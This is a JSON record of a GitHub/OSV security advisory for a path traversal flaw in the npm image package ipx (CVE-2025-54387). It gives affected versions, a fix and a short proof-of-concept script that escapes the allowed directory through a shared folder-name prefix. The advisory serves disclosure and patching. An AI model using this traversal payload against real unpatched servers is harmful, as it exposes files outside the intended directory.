{"id":"GHSA-mm3p-j368-7jcr","revision":"5bb0fd0972d747c58c8e48e6766b28ea","records":[{"revision":"5bb0fd0972d747c58c8e48e6766b28ea","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-mm3p-j368-7jcr","aliases":["CVE-2025-54387"],"title":"IPX Allows Path Traversal via Prefix Matching Bypass","description":"### Summary\n\nThe approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.\n\n\n### PoC\n\n- setup\n```\nmkdir ~/public123\nmove a png file under ~/public123 with name test.png\ncd\nnpm i ipx \n```\n\n- `main.js`\n```js\nimport { createIPX, ipxFSStorage } from \"ipx\";\n\nconst ipx = createIPX({\n  storage: ipxFSStorage({ dir: \"./public\" }),\n});\n\n\n(async () => { \n    {\n        const source = await ipx(\"../public123/test.png\"); // access file outside ./public dir because of same prefix folder\n        const { data, format } = await source.process();\n        console.log(format) // print image data\n    }\n    {\n        try {\n            const source = await ipx(\"../publi123/test.png\"); // forbidden path: the prefix is not the same\n            const { data, format } = await source.process();\n            console.log(data)\n        } catch (err) {\n            console.log(err.message) // Forbidden path:\n        }\n\n    }\n\n})()\n```\n\n- `node main.js`\n```\npng\nForbidden path: /../publi123/test.png\n```\n\n### Impact\nPath Traversal\n\n### Possible Fix\n\nCheck if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`","state":0,"publishedAt":"2025-08-04T14:48:25+00:00","modifiedAt":"2026-09-10T03:50:27.2664759+00:00","affected":[{"ecosystem":"npm","name":"ipx","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.3.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ipx","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.0.0-0"},{"kind":"fixed","version":"2.1.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ipx","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"},{"kind":"fixed","version":"3.1.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcr","https://nvd.nist.gov/vuln/detail/CVE-2025-54387","https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214","https://github.com/unjs/ipx","https://github.com/unjs/ipx/releases/tag/v1.3.2","https://github.com/unjs/ipx/releases/tag/v2.1.1","https://github.com/unjs/ipx/releases/tag/v3.1.1"],"sourceUrl":"https://github.com/advisories/GHSA-mm3p-j368-7jcr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-mm3p-j368-7jcr","identifiers":["GHSA-mm3p-j368-7jcr","CVE-2025-54387"]},"retained":false,"historicalAffected":[]}],"coverage":[]}